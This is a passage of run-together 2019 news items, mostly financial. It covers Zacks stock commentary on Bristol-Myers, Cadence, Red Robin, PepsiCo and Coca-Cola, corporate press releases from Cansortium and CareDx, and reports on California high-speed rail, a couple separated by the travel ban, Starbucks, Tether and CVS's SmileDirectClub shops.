transaction will close in the third quarter of 2019. The acquisition was announced in January for a whopping $74 billion. The buyout is expected to be 40% accretive to the bottom line on a standalone basis in the first full year and result in cost synergies of approximately $2.5 billion by 2022. The merged entity will generate more than $45 billion in cash flow over the first three full years. Pipeline Update The phase II CheckMate -714 trial evaluating Opdivo versus Opdivo plus Yervoy in patients with recurrent or metastatic squamous cell carcinoma of the head and neck did not meet its primary endpoints. 2019 Guidance Bristol-Myers reiterated its adjusted earnings and revenue expectations for 2019. The company projects earnings of $4.10-$4.20 per share. The Zacks Consensus Estimate for earnings is pegged at $4.16. The company expects worldwide revenues to increase mid-single digits. Our Take We are positive about Bristol-Myers performance, as it beat on both earnings and sales in the first quarter, primarily on robust sales of Opdivo and Eliquis. Bristol-Myers efforts to develop its pipeline products, especially Opdivo, are encouraging. Several label expansion applications for Opdivo are under review in the United States and Europe. These, if approved, will further boost the prospects of this blockbuster drug. However, the company suffered setback with the failure of the drug and withdrawal of a label expansion application in first-line lung cancer. Additionally, the approval of Mercks MRK Keytruda for the same indication adds to Bristol-Myers woes. Bristol-Myers Squibb Company Price, Consensus and EPS Surprise Bristol-Myers Squibb Company Price, Consensus and EPS Surprise | Bristol-Myers Squibb Company Quote Zacks Rank Bristol-Myers currently carries a Zacks Rank #2 (Buy). You can see the complete list of todays Zacks #1 Rank (Strong Buy) stocks here. Radical New Technology Creates $12.3 Trillion Opportunity Imagine buying Microsoft stock in the early days of personal computers or Motorola after it released the worlds first cell phone. These technologies changed our lives and created massive profits for investors. Today, were on the brink of the next quantum leap in technology. 7 innovative companies are leading this 4th Industrial Revolution - and early investors stand to earn the biggest profits. See the 7 breakthrough stocks now>> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Pfizer Inc. (PFE) : Free Stock Analysis Report Bristol-Myers Squibb Company (BMY) : Free Stock Analysis Report Merck & Co., Inc. (MRK) : Free Stock Analysis Report Celgene Corporation (CELG) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research For Immediate Release Chicago, IL April 25, 2019 Zacks Equity Research Cadence Design Systems CDNS as the Bull of the Day, Red Robin Gourmet Burgers RRGB asthe Bear of the Day. In addition, Zacks Equity Research provides analysis on PepsiCo PEP and Coca-Cola KO. Here is a synopsis of all four stocks: Bull of the Day: With the stock market pushing equities up near all-time highs, it may feel like every stock is going to rocket higher. Its times like this when investors should actually be more cautious. Stocks which have strong earnings trends are the ones most likely to continue higher as the market breaks out. This way, investors have the peace of mind in knowing that they are buying a strong underlying business, not just a stock on the move. One way to identify stocks like this is by leaning on the Zacks Rank. Zacks Rank #1 (Strong Buy) stocks like todays Bull of the Day have strong underlying earnings trends. The trend is very strong here in Cadence Design Systems. Cadence Design Systems, Inc. provides software, hardware, services, and reusable integrated circuit (IC) design blocks worldwide. The company offers functional verification services, including emulation and prototyping hardware. Its functional verification offering consists of JasperGold, a formal verification platform; Xcelium, a parallel simulation platform; Palladium Z1, an enterprise emulation platform; and Protium S1 field-programmable gate array prototyping platform. Cadence is coming off a strong quarterly report with EPS coming in at 54 cents versus expectations calling for 50 cents. Revenues were strong as well, with the company reporting $577 million in sales versus expectations calling for $560 million. Earnings estimates have been increasing for the current quarter, next quarter, current year and next year. Over the last ninety days, next years Zacks Consensus Estimate has gone up from $2.10 to $2.21. The current year consensus has shot up from $1.95 to $2.05. Story continues Bear of the Day: With the market up near all-time highs, you may be tempted to load the boat on every stock you see. That may sound like a great idea during a market melt-up but could prove to be very costly. The stock youre looking at could have a deep, dark secret like a very negative earnings trend. One way to avoid this sort of trap is to lean on the power of the Zacks Rank. Stocks which are Zacks Rank #4 (Sell) and Zacks Rank #5 (Strong Sell) stocks have earnings trends moving in the wrong direction. While that may not grenade a stock in the short-term, it could set investors up for long-term disappointments. One such stock with an unfavorable Zacks Rank is todays Bear of the Day, Red Robin Gourmet Burgers. Red Robin Gourmet Burgers, Inc., together with its subsidiaries, develops, operates, and franchises full-service and casual-dining restaurants in the United States and Canada. The company's restaurants primarily offer burgers; various appetizers, salads, soups, seafood, and other entrees; and desserts, milkshakes, alcoholic and non-alcoholic specialty drinks, cocktails, wine, and beers. As of December 31, 2018, it operated 484 company-owned restaurants located in 39 states and 2 Canadian provinces; and had 89 casual-dining restaurants operated by franchisees in 16 states. Not only is Red Robin a Zacks Rank #5 (Strong Sell), its also in an industry which ranks in the Bottom 24% of our Zacks Industry Rank. The reason for the unfavorable Zacks Rank lies in the recent earnings estimate revisions to the downside. Over the last sixty days, seven analysts have cut their earnings estimates for the current year, while four have followed suit for next year. The bearish moves have dropped the Zacks Consensus Estimate for the current year from $1.71 to $1.23. Next years number has come down from $2.15 to $1.37. Additional content: The Cola Wars: Coke vs. Pepsi Over the past 5 trading days PepsiCo and Coca-Cola both posted strong Q1 results pushing these stocks higher. KO just released its Q1 earnings report this morning beating both EPS estimates and revenue expectations, reporting $0.48 and $8 billion respectively. Revenue grew over 5% year-over-year and earnings per share saw 2% growth from Q1 2018. KO closed the day up 1.7%. Last week PepsiCo beat EPS estimates by over 5% demonstrating year-over-year growth on both top and bottom-lines. PEP hit its all-time high of $128.26 this week following the solid earnings, jumping just north of 3%. Performance KO plummeted almost 10% in mid-February with weaker than expected Q4 earnings and managements adjusted guidance to the downside. KO has been recovering since then and just turned positive for 2019 last week. On the other hand, PEP has seen 16% return YTD and over 29% returns in the past 52 weeks, outpacing the S&P 500 by roughly 17 percentage points. Over the last 5 years PepsiCo investors have been able to reap 43% higher returns than KO investors; PEP (blue) & KO (red). PEP vs. KO The Cola Wars between PepsiCo and Coca-Cola have been waging for over a century. Each of them aggressively building their brand at the expense of the other. This fight has extended beyond just Cola and now includes all consumer packaged goods (CPG). Both of these firms have been swiftly acquiring smaller firms attempting to stay ahead of the consumer curve. Pepsi has been able to expand its portfolio beyond just beverages acquiring Frito-Lay in 1965 and Quaker in 2001. Coke has kept its focus on its core competency, beverages, but has expanded its pure play portfolio extensively. Financial Comparison Pepsi report approximately $65 billion in revenue for 2018 more than double the $31 billion top-line that Coke reported. But somehow Coca-Cola was still able to post a 10% larger adjusted bottom-line than PepsiCo. Although the margins for Coke are much more attractive than Pepsis, their recent financial performance is something of concern to investors. Coke has seen consistent negative sales growth since 2012, being down over 33% in 7 years. While PEP has had a steady top-line over the same time frame. Below is a side-by-side comparison of PEP and KO. Analyzing past performance, ROE, FCF and Zacks Ranking it appears that PEP would make a better investment if you had to make a decision today. It has had significantly better performance over the past 5 years both in the books and in the markets. PEPs return on equity (ROE) substantially outperforming KO, being driven by its more efficient asset turnover illustrating operational excellence. Free-cash-flow (FCF) illustrates a companys financial flexibility and KO wasnt even able to pay its dividends without completely depleting its FCF. Consumer Shift Unfortunately both of these firms are trading at very high multiples for being in a mature-to-declining industry. I would be hesitant to put a long position on either of these CPG leaders until they start trading at more reasonable multiples or until some industry shift propels these companies back into growth. Consumers are shifting their preference to healthier options and this has been evident in these CPG companies financials. Millennials, the now largest consuming generation, are renewing a focus on healthy living and associate Pepsi and Coke with over-processed and unhealthy products. KO and PEP have both been attempting to modify consumers' perception of their brands. Seeking to penetrate the new health trend, PEP has acquired Naked, Kevita and just recently bought Soda Stream. KO has acquired Honest Tea, Costa Coffee, MOJO Kombucha, and just bought a minority stake in the growing Gatorade competitor Body Armor. Conclusion I have a very limited amount of confidence in the CPG space. These companies tend to be extremely reactionary, always behind the curve. They are ostensibly unable to successfully innovate internally and are forced to acquire trendy products externally, which wont be feasible when the easy money dries up. Their attempts to penetrate the health trend is bordering futile. The small marginal growth in these segments wont even close to cover the losses that their largest soda brands are expected to see. In the battle between PEP and KO, I would consider them both to be losers at their current valuation. Biggest Tech Breakthrough in a Generation Be among the early investors in the new type of device that experts say could impact society as much as the discovery of electricity. Current technology will soon be outdated and replaced by these new devices. In the process, its expected to create 22 million jobs and generate $12.3 trillion in activity. A select few stocks could skyrocket the most as rollout accelerates for this new tech. Early investors could see gains similar to buying Microsoft in the 1990s. Zacks just-released special report reveals 7 stocks to watch. The report is only available for a limited time. See 7 breakthrough stocks now>> Media Contact Zacks Investment Research 800-767-3771 ext. 9339 support@zacks.com https://www.zacks.com Zacks.com provides investment resources and informs you of these resources, which you may choose to use in making your own investment decisions. Zacks is providing information on this resource to you subject to the Zacks "Terms and Conditions of Service" disclaimer. www.zacks.com/disclaimer. Past performance is no guarantee of future results. Inherent in any investment is the potential for loss.This material is being provided for informational purposes only and nothing herein constitutes investment, legal, accounting or tax advice, or a recommendation to buy, sell or hold a security. No recommendation or advice is being given as to whether any investment is suitable for a particular investor. It should not be assumed that any investments in securities, companies, sectors or markets identified and described were or will be profitable. All information is current as of the date of herein and is subject to change without notice. Any views or opinions expressed may not reflect those of the firm as a whole. Zacks Investment Research does not engage in investment banking, market making or asset management activities of any securities. These returns are from hypothetical portfolios consisting of stocks with Zacks Rank = 1 that were rebalanced monthly with zero transaction costs. These are not the returns of actual portfolios of stocks. The S&P 500 is an unmanaged index. Visit https://www.zacks.com/performance for information about the performance numbers displayed in this press release. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Pepsico, Inc. (PEP) : Free Stock Analysis Report Coca-Cola Company (The) (KO) : Free Stock Analysis Report Cadence Design Systems, Inc. (CDNS) : Free Stock Analysis Report Red Robin Gourmet Burgers, Inc. (RRGB) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research (Bloomberg) -- President Donald Trump is seeking to claw back billions in funds for a contentious California high-speed rail project. Thats not stopping the head of the agency running it from seeking even more federal financing. Lenny Mendonca, the chair of the authoritys board, said that he expects there to be more federal support once the state completes an initial segment under construction in the interior agricultural region known as the Central Valley. In February, the Trump administration said it would cancel about $930 million in federal funds and try to recoup $2.5 billion already allocated to the project. Dont think about the federal government as the president of the United States, Mendonca said in an interview in San Francisco. The federal government is much broader. Mendonca said the U.S. transportation and railroad agencies -- which had informed California of the intent to claw back federal funds -- have been great partners, along with Congress. The state hasnt received a response from federal authorities to its letters rebutting the reasons cited for pulling the funds, he said. His board will release an update of the project on May 1. Initially conceived as connecting San Francisco and Los Angeles with a high-speed train that would slash travel times and transform the states economy, the project has been beset by cost overruns and delays causing its estimated price to balloon to $77 billion. Governor Gavin Newsom, who took office this year, said in a February speech that the rail as planned would cost too much and take too long and he would focus on finishing roughly 170 miles of track in the Central Valley and preliminary work on the entire system. His comments were initially interpreted as walking away from the bullet train that has been in the works for more than a decade. Officials later said that the goal of connecting the two ends of California remains. Trump blasted the project as wasteful in tweets, and his agencies moved against it a week after Newsoms remarks. Story continues Once California can show a completed segment, more federal funding, as well as private investment, will follow, said Mendonca, who is also Newsoms top economic and business adviser. As we deliver, there will be more support, he said. To contact the reporter on this story: Romy Varghese in San Francisco at rvarghese8@bloomberg.net To contact the editors responsible for this story: James Crombie at jcrombie8@bloomberg.net, Boris Korby For more articles like this, please visit us at bloomberg.com 2019 Bloomberg L.P. Miami, Florida--(Newsfile Corp. - April 26, 2019) - Cansortium Inc. (CSE: TIUM.U) ("Cansortium" or the "Company"), a vertically-integrated, multi-state provider of high-quality medical cannabis, announced today the appointment of two new members to its expanding leadership team. Dr. Jennifer McCafferty-Fernandez - Chief Science Officer Dr. Jennifer McCafferty-Fernandez has joined the Company as Chief Science Officer, reporting to Jose Hidalgo, Chief Executive Officer. Dr. McCafferty-Fernandez earned her PhD from the University of Miami in the Department of Molecular and Cellular Pharmacology and served in a variety of roles including the Deputy Executive Dean of Research and the acting Executive Director of the Office of Research Compliance for the Miller School of Medicine. She is also certified as an ethics and compliance professional covering expertise in research, healthcare, privacy, and corporate affairs. Dr. McCafferty-Fernandez has also worked for the Damon Runyon Cancer Research Foundation as the Scientific Director. In this role she was responsible for research communications and managing career development programs for post-doctoral fellows. As the Chief Research Officer and senior research official at Nicklaus Children's Health System, Dr. McCafferty-Fernandez has grown the research and research compliance infrastructures, including concerted efforts in patient and provider reported outcomes studies, genomics and personalized medicine. Cansortium CEO Jose Hidalgo commented: "We are very proud to welcome Dr. McCafferty-Fernandez to our expanding leadership team. Our ability to recruit Jennifer - a highly credentialed scientist with an extensive background in medical research, compliance and patient care - is a testament to our shared dedication to delivering the highest standards of cannabis care from nursery to lab to shelf. We are confident that she will play a key role as we continue to expand our business and bring the many medical benefits of cannabis to more patients in legal markets around the world." Story continues "The medical cannabis industry is at a crossroads and, as such, I believe that an exciting opportunity exists at Cansortium," said Dr. McCafferty-Fernandez. With its intense focus on the highest quality products for patient care and deep dedication for innovation, the Company is uniquely positioned to serve broad customer markets across multiple geographies. In addition, as our markets expand, we are presented with the opportunity to produce the highest quality product, consistently. We intend to lead the industry in setting the highest quality standards. I am excited to join the Company as such an important time in its evolution and look forward to contributing to its growth." Todd Buchman - Chief Legal Officer Todd Buchman has joined the Company as Chief Legal Officer, reporting to Jose Hidalgo, Chief Executive Officer. From 2006 to 2018 he was Associate General Counsel and Senior Vice President of Sun Capital Partners, Inc., a private investment firm that has invested in over 365 companies worldwide with revenues of approximately $50 billion across a broad range of industries and transaction structures. He began his career as a corporate and securities attorney for Morgan, Lewis & Bockius LLP in Philadelphia, PA, where for 6 years he represented both public and private clients in a wide range of M&A activity and SEC reporting. Todd received a Bachelor of Arts degree in History from the University of Florida, and a Juris Doctor degree from the Dickinson School of Law of Pennsylvania State University. Cansortium CEO Jose Hidalgo commented: "We are very proud to welcome Todd Buchman to our leadership team. Todd's extensive experience and knowledge will help us anticipate and adapt nimbly to new opportunities and challenges posed by the very complex, fragmented and rapidly changing legal environments that exist today across multiple jurisdictions." Mr. Buchman added: "The medical cannabis industry is one of the most intriguing industries to be involved in today, particularly from the standpoint of the complex legal framework under which it operates. I'm looking forward to working with Jose and the entire management team to help the Company capitalize on the significant opportunities ahead as the global cannabis legalization movement continues to gain momentum." ABOUT CANSORTIUM Cansortium Inc. is a global medical cannabis company operating in highly populous markets with a mission to deliver the highest standards of cannabis care from nursery to lab to shelf. Headquartered in Miami, FL and operating under the brand Knox Medical, the Company through its subsidiaries operates 4 cultivation facilities and 11 dispensaries across Florida, Texas, Puerto Rico and Pennsylvania, with licensing pending in Michigan and Canada. The Company also has a licensed cultivation facility in Colombia. For more information, please visit www.cansortium.com. For further information, contact: Jeffrey Reath Executive Vice-President, Finance and Investor Relations 506-871-6135 jeff@cansortium.com Forward-Looking Information Certain information in this news release, may constitute forward-looking information. In some cases, but not necessarily in all cases, forward-looking information can be identified by the use of forward-looking terminology such as "plans", "targets", "expects" or "does not expect", "is expected", "an opportunity exists", "is positioned", "estimates", "intends", "assumes", "anticipates" or "does not anticipate" or "believes", or variations of such words and phrases or state that certain actions, events or results "may", "could", "would", "might", "will" or "will be taken", "occur" or "be achieved". In addition, any statements that refer to expectations, projections or other characterizations of future events or circumstances contain forward-looking information. Statements containing forward-looking information are not historical facts but instead represent management's expectations, estimates and projections regarding future events. Forward-looking information is necessarily based on a number of opinions, assumptions and estimates that, while considered reasonable by the Company as of the date of this news release, are subject to known and unknown risks, uncertainties, assumptions and other factors that may cause the actual results, level of activity, performance or achievements to be materially different from those expressed or implied by such forward-looking information, including but not limited to the factors described in the public documents of the Company available at www.sedar.com. These factors are not intended to represent a complete list of the factors that could affect the Company; however, these factors should be considered carefully. There can be no assurance that such estimates and assumptions will prove to be correct. The forward-looking statements contained in this news release are made as of the date of this news release, and the Company expressly disclaims any obligation to update or alter statements containing any forward-looking information, or the factors or assumptions underlying them, whether as a result of new information, future events or otherwise, except as required by law. Corporate Logo To view the source version of this press release, please visit https://www.newsfilecorp.com/release/44344 OTTR acquisition will enable EMR integrations at transplant centers and longitudinal patient data management BRISBANE, Calif., April 25, 2019 (GLOBE NEWSWIRE) -- CareDx, Inc. (CDNA), a molecular diagnostics company focused on the discovery, development and commercialization of clinically differentiated, high-value diagnostic solutions for transplant patients, today announced it has agreed to acquire OTTR Complete Transplant Management (OTTR), the leading provider of organ transplant patient tracking software. OTTR provides comprehensive solutions for transplant patient management, which are currently used in over 60 leading transplant centers in the US. OTTRs solutions enable integration with electronic medical records (EMR) systems, including Cerner and Epic, providing patient surveillance management tools and outcomes data to transplant centers. CareDx will pay approximately $16.0 million to acquire OTTR and intends to fund the transaction with cash on hand. For the full year 2019, OTTRs revenue is projected to be in the range of $6.0 million to $8.0 million, and its net income is expected to be breakeven. The transaction is expected to close in May 2019. CareDx and OTTR are very aligned in their dedication to improving outcomes for transplant patients, said Peter Maag, CEO of CareDx. The integration of OTTR solutions into transplant center EMR systems will simplify the logistics of ordering AlloSure or AlloMap testing for patients. This acquisition marks the beginning of CareDxs leadership in transplant artificial intelligence as we integrate surveillance management tools and provide a solution for individualized patient outcomes. This is a perfect fit for our organization, we bring the solid organ transplant patient tracking and data management tools that will simplify the ordering process for CareDxs leading surveillance tests, optimize transplant patient safety, increase efficiency and facilitate compliance. Together we will make a major difference, not only in individual centers but to individual transplant recipients, says Mike Donnell, Co-CEO and Chief Marketing Officer of OTTR. Story continues About CareDx CareDx, Inc., headquartered in Brisbane, California, is a molecular diagnostics company focused on the discovery, development and commercialization of clinically differentiated, high-value diagnostic solutions for transplant recipients. CareDx offers products along the pre- and post-transplant testing continuum, and is the leading provider of genomics-based information for transplant patients. For more information, please visit: www.caredx.com . About OTTR OTTR, headquartered in Omaha, Nebraska, is the leading provider of organ transplant patient tracking software. OTTR serves over 200 programs at more than 60 transplant centers in the United States and Canada. Designed by clinicians, OTTRs complete transplant management solutions support the entire team of physicians, nurses and administrators. OTTRs solutions are highly customized to support various international regulatory models. For more information, please visit: www.ottr.com . Forward Looking Statements This press release includes forward-looking statements, including statements regarding the Companys acquisition of OTTR, including statements regarding the expectation that the proposed acquisition will close and the projected timing for closing the proposed acquisition, and OTTRs future financial projections, including its projected revenue and net income for fiscal year 2019, and statements regarding the potential benefits and results that may be achieved through the proposed acquisition. These forward-looking statements are based upon information that is currently available to CareDx and its current expectations, speak only as of the date hereof, and are subject to numerous risks and uncertainties, including the risk that the proposed acquisition does not close; risks related to integration in the event the proposed transaction closes; risks of unexpected costs and delays associated with the proposed acquisition; general economic and market factors; and other risks discussed in CareDxs filings with the SEC, including the Annual Report on Form 10-K for the fiscal year ended December 31, 2018 filed by CareDx with the SEC on March 6, 2019 and other reports that CareDx has filed with the SEC. Any of these may cause CareDxs actual results, performance or achievements to differ materially and adversely from those anticipated or implied by CareDxs forward-looking statements. CareDx expressly disclaims any obligation, except as required by law, or undertaking to update or revise any such forward-looking statements. CONTACTS: CareDx, Inc. Sasha King Chief Commercial Officer 415-287-2393 sking@caredx.com Investor Relations David Clair Integrated Corporate Relations, Inc. 646-277-1266 david.clair@icrinc.com Before presidential candidate Donald Trump vowed a total and complete shutdown of Muslims entering the United States, before the so-called Muslim Ban led to nationwide airport protests, before the Supreme Court affirmed a watered down version of whats now known as the travel ban, Brian Swank and Mehraneh Rayatidamavandi fell in love. In September 2015, Swank was a student at SUNY College of Environmental Science and Forestry in Syracuse, studying landscape architecture. His professor was working with a visiting scholar from Tehran, Iran. Who's this beautiful girl, coming from all the way from Iran, to study landscape architecture here? Swank wondered. Rayatidamavandi, a PhD in landscape architecture, was on a research scholar visa for the academic year. Quickly enough, Swank asked Rayatidamavandi on a coffee date. From the first moment, I thought that he's so sweet, she said. He's so caring, hes so thoughtful. And we are good together. Swank remembered thinking to himself: Wow, this girl is going to be somebody special in my life. On Halloween, he taught her how to carve a pumpkin. On Thanksgiving and Christmas, he brought her home to his family. And at the end of the school year, on the front steps of his parents house in Poughkeepsie, Swank proposed. U.S. law required her to go back to Iran for two years before she could apply for a K-1 fiance visa. That would then make her eligible for permanent residency, work and a life in the U.S. by 2018. So the couple spent those two years living apart, meeting up for various vacations, from the Eastern European country of Georgia to Malaysia. As an American, Swank wouldve faced difficulty visiting Rayatidamavandi in Iran, and as a Christian, he is forbidden from moving there and marrying her because shes Muslim. Listen to Matt Katzs report on WNYC: Last year they submitted the fiance visa application, complete with background checks on Swank and Rayatidamavandi. In July they went to the United Arab Emirates, both for a vacation and because thats where Rayatidamavandi had a scheduled interview at the U.S. embassy. (She had to travel there to interview with American officials, because theres no official American presence in Iran.) But a month before that, the Supreme Court upheld the third version of the travel ban, which blocks the issuance of a range of visas to citizens of seven countries, including Iran. So even though Rayatidamavandi had previously been vetted and approved to live in the United States for 10 months, this time her visa application was rejected. Since that moment until today, I'm a lost girl, I don't know what to do, she said. I don't know where to go. I dont know what to think. I stopped dreaming about my future. Brian described it as life...on hold. We've got these big dreams, these big plans of having a home here in southern Ocean County [New Jersey], he said. They both want a family. I'm just waiting for the most important thing: Her, her to be here. Brian Swank and Mehraneh Rayatidamavandi (Courtesy Brian Swank) At the interview with the consular officer at the U.S. embassy in the United Arab Emirates, Rayatidamavandi brought notarized letters from Swanks parents and the professor who connected them, affirming the couples relationship. The consular office did not accept the documentation, Rayatidamavandi said. After being denied for the visa, Rayatidamavandi sought a waiver. Such waivers were mandated by the Supreme Court ruling, and have been held up by Trump Administration officials to show that this isnt a blanket Muslim ban, and is only intended to protect the nation from terrorist attacks by foreigners. The State Department is empowered to determine if the visa denial will lead the foreigner to experience undue hardship. Yet just 6 percent were granted waivers from December 2017, when the latest ban was implemented, to October 2018, according to data obtained by Senator Chris Van Hollen, a Maryland Democrat. This data paints a clearand deeply disturbingpicture of the Trump travel ban, Van Hollen told Reuters. The administration repeatedly swore to the Supreme Court and the American people that this was not a de-facto Muslim ban and that there was a clear waiver process to ensure fairness. That couldnt be further from reality. By June, an estimated 6,000 spouses will have been separated by the travel ban, according to the Cato Institute. The wait for those hoping for a waiver is extensive. Rayatidamavandis request is in administrative processing, according to a letter from the U.S. embassy consular in the United Arab Emirates to Swanks congressman, U.S. Representative Tom MacArthur, a Republican. The couple must check online to get status updates on her case. I'm so helpless, Rayatidamavandi said. I don't think there is much I can do about it. It's all in the hands of President Trump. A bill to overturn the travel ban is in Congress, but stands little chance in the Republican Senate. Rayatidamavandi spends her time reading whatever she can find online about her area of expertiseimproving childrens vitality through urban parks and playgrounds. Shes not working. She lives with her parents in Tehran. And she said shes experiencing anxiety. Im an ordinary Iranian citizen, she said. I don't have anything to do with politics. Its not my fault that I was born in Iran. Swank lives in Lacey Township on the Jersey Shore and works as a landscape architect on Long Beach Island. He talks on the phone with Rayatidamavandi at least twice a day; she wakes up at 2:30 in the morning to FaceTime with him when he gets home from work. I come home every night, I'm alone, he said. And go to bed every night, I'm alone. And you know we're just dreaming every day of the day when you can go home from work and she's there waiting for you. Waiting is the only thing that they can do. I'm saying this to Brian every day, that this is love, Rayatidamavandi said. Love doesn't know any boundaries it doesn't know any nationality or anything, it just happens. You fall in love. You cannot do anything about it. Update: This article has been reflected to note that Van Hollen is a senator from Maryland, not Connecticut as previously stated. Matt Katz reports on air at WNYC about immigration, refugees and national security. You can follow him on Twitter at @mattkatz00. With its stock nearing its all-time high, Starbucks (SBUX) is hoping it can continue to woo investors with strong earnings, set to be released today after the closing bell. Starbucks itself isnt expecting much from its fiscal second-quarter report, with guidance calling for revenue growth of 5-7%, including same-store sales growth of 3-4%. Wall Street, as well, isnt expecting much from EPS, with consensus growth at 5.7% to $0.56 per share. China remains a major challenge for Starbucks, as competitor Luckin Coffee is pressing the company in a way not seen from competition in the US. But working in Starbucks favor is its rewards program, which continues to be one of the largest in the country, with more than 16 million active members. Ahead of the print, Oppenheimer's analyst Brian Bittner reiterates an Outperform rating on Starbucks stock and lifts his price target from $72 to $81. According to TipRanks, which measures analysts and bloggers success rate based on how their calls perform, Bittner has a yearly average return of 11.9% and a 72% success rate. Bittner has an average return of 21.5% when recommending SBUX and is ranked #86 out of 5,197 analysts. While Bittner is bullish on Starbucks, he calls China the biggest fear factor for investors, as the company faces stiffening competition in the region. While the analyst does expect growth to continue in the market, he says the biggest risk to [Starbucks] stock's valuation in '19 being an unexpected miss in China. Luckin Coffee, which recently filed for IPO in the US, has emerged as a fierce competitor to Starbucks in China. The company was launched only a few years ago, but has already opened more than 2,000 stores, including pickup or delivery-only locations. The company offers deep discounts which has spurred high demand for its products, but some say this cannot continue much longer, as operating loss continues to grow. Nevertheless, until Luckin investors say otherwise and force the company into a more fiscally responsible model, the upstart is Starbucks greatest challenge in China. Story continues Overall, Bittner expects EPS upside in '19E specifically into second-half as margins gain health against low Street forecasts. He calls this a rarity in our universe," particularly ahead of "an accelerating earnings scenario we envision in '20E. The analyst remains confident in drivers behind healthy same store sales, but recognizes that "multiple expansion is difficult to justify in near-term (from 25x forward P/E). All in all, while Starbucks hold on the US market is steady, things seem a bit choppy in China. TipRanks analysis of 17 analyst ratings shows a Moderate Buy consensus, but an even split (8 analysts each) recommending Buy or Hold. The $75.22 average price target further shows the mixed thoughts on the company, as it represents a slight downside from where the stock is currently trading. (See SBUX's price targets and analyst ratings on TipRanks) More recent articles from Smarter Analyst: (Bloomberg) -- Cryptocurrencies tumbled after New Yorks attorney general cast fresh doubt on the stability of Tether, a virtual currency that plays a central role in trading on crypto exchanges around the world. Bitcoin sank 6.4 percent to $5,145.33 at 9:55 a.m. in Hong Kong, while the value of cryptocurrencies tracked by CoinMarketCap.com dropped by about $10 billion. Tether, the so-called stablecoin at the center of an investigation by New Yorks top cop, declined 1.9 percent to $0.99. It typically trades in a tight range around $1. The companies behind Tether and Bitfinex, one of the worlds largest crypto exchanges, engaged in a cover-up to hide the apparent loss of $850 million of co-mingled client and corporate funds, New York Attorney General Letitia James alleged in a statement on Thursday. Executives allegedly cooked up a series of conflicted corporate transactions in which Bitfinex gave itself access to up to $900 million of Tethers cash reserves, which Tether repeatedly told investors fully backed its coin one-to-one, the attorney general said. Kasper Rasmussen, a spokesman for Bitfinex, didnt respond to a message seeking comment. There was also no response to messages left with a Bitfinex email address for the media and an outside public-relations agency. While skeptics have long doubted whether Tether was fully backed by reserves, markets have mostly shrugged off those concerns and treated the coin as if it were worth $1. Tethers stability has helped it become a major part of the global cryptocurrency ecosystem, with traders using it for about 28 percent of all virtual currency transactions tracked by CoinMarketCap.com over the past 24 hours -- second only to Bitcoin. Read more: Why Crypto Traders Are So Worried About Tether A loss of faith in the stablecoin would be a major blow to traders who rely on it for liquidity on many of the worlds lightly regulated crypto exchanges. It would also undermine efforts by market bulls to attract institutional investment. While some large money managers and Wall Street banks have dipped their toes into the crypto world, many have steered clear because of worries about lax regulation, market manipulation and fraud. Story continues Slower-than-expected mainstream adoption contributed to last years 74 percent tumble in Bitcoin, though its price has recovered somewhat in 2019. The New York investigation could put a stop to the recent rally, according to Stephen Innes, head of trading at SPI Asset Management. These latest allegations not only bring Tethers credibility into question, they cast a dark cloud over the entire industry, Innes said. While the market remains tentatively supported above the key psychological $5,000 mark, given the waves of pessimism hitting the market this morning it wouldnt surprise me if this major support level gives way. (Updates prices and adds quote in final paragraph.) --With assistance from Erik Larson and Olga Kharif. To contact the reporters on this story: Michael Patterson in Hong Kong at mpatterson10@bloomberg.net;Eric Lam in Hong Kong at elam87@bloomberg.net To contact the editors responsible for this story: Sam Mamudi at smamudi@bloomberg.net, Benjamin Robertson For more articles like this, please visit us at bloomberg.com 2019 Bloomberg L.P. CVS Health will open "hundreds" of SmileDirectClub locations inside its stores this year. Called a SmileShop, customers can receive a 3D scan of their teeth that's used to create a pair of invisible braces. Walgreens is testing SmileDirectClub locations in four of its stores. CVS Health CVS is about to make it easier to straighten your teeth. The drugstore chain will open "hundreds" of SmileDirectClub locations inside its stores this year, with plans to open more than 1,000 locations over the next two years, the company announced Thursday. Called a SmileShop, customers can receive a 3D scan of their teeth that will be used to create a pair of invisible braces. CNBC reported in January that CVS was running a pilot with SmileDirectClub to fit people for clear braces inside its drugstores. At the time, the idea was being tried out at just six CVS locations. The pilot grew to 13 locations, with the test performing so well that CVS decided to expand it. "For me, [this partnership is] about how CVS is very much on the look out for innovative solutions we can provide conveniently, locally and affordably," CVS' Vice President of Beauty Maly Bernstein said in an interview. "This is one example of us making sure we're leaders in doing that." CVS is trying to keep up with its changing customers. People are shopping online more, especially on sites like Amazon AMZN , hurting CVS and other drugstores' sales of everyday items like vitamins and toilet paper. CVS thinks focusing on health and beauty products and services will be a way to draw people in. Teeth-straightening start-up SmileDirectClub began online. People ordering the clear aligners online fit themselves using an at-home impression kit. If they go to a store, a "SmileGuide" performs a 3D scan for them. Bernstein's team found SmileDirectClub on social media and liked the brand's loyal following, how it engaged with customers and its convenient and affordable experience, she said. They called the Nashville, Tennessee-based start-up and pitched them on becoming their lead partner in bringing their services into stores nationwide. Story continues SmileDirectClub liked the idea and agreed to test it. "We actually proved to one another we were right," Bernstein said. "This was something customers did want, and did appreciate being able to go to their local store to have that first scan done." CVS found the SmileShop locations were attracting new, younger customers in the pilot, CVS Pharmacy President Kevin Hourican said in an interview. Of the 609 SmileShop visitors surveyed in three stores over a month, 32% weren't regular customers, he said. Many of the patients were millennials, a key demographic CVS wants to tap. The retail team contacted its new colleagues at health insurer Aetna, which merged with CVS in a $70 billion acquisition. Aetna was already in talks with SmileDirectClub and will start covering the aligners this summer for more than its 10 million Aetna Dental members. UnitedHealthcare UNH will also start covering SmileDirectClub's services for its more than 1.5 million members with orthodontic coverage, the health insurer announced Thursday. Under both arrangements, patients will be able to buy the clear teeth aligners for less than $1,000. Without insurance, SmileDirectClub charges $1,850 for a one-time payment, or $2,170 for a two-year payment plan. Traditional braces can cost upwards of $9,000. "This is big for raising awareness, and it opens up new marketing opportunities," SmileDirectClub co-founder Alex Fenkell said. "We got into this business to increase access to care." Partnering with CVS gives SmileDirectClub a chance to quickly scale. The company launched online roughly five years ago and has grown to nearly 250 stores today. With CVS, it will more than double its bricks-and-mortar footprint in the U.S. The tie-up with CVS isn't exclusive either, he added, meaning SmileDirectClub can still work with other drugstore chains. And it's already doing so. The start-up opened four SmileShop locations in Walgreens WBA stores earlier this 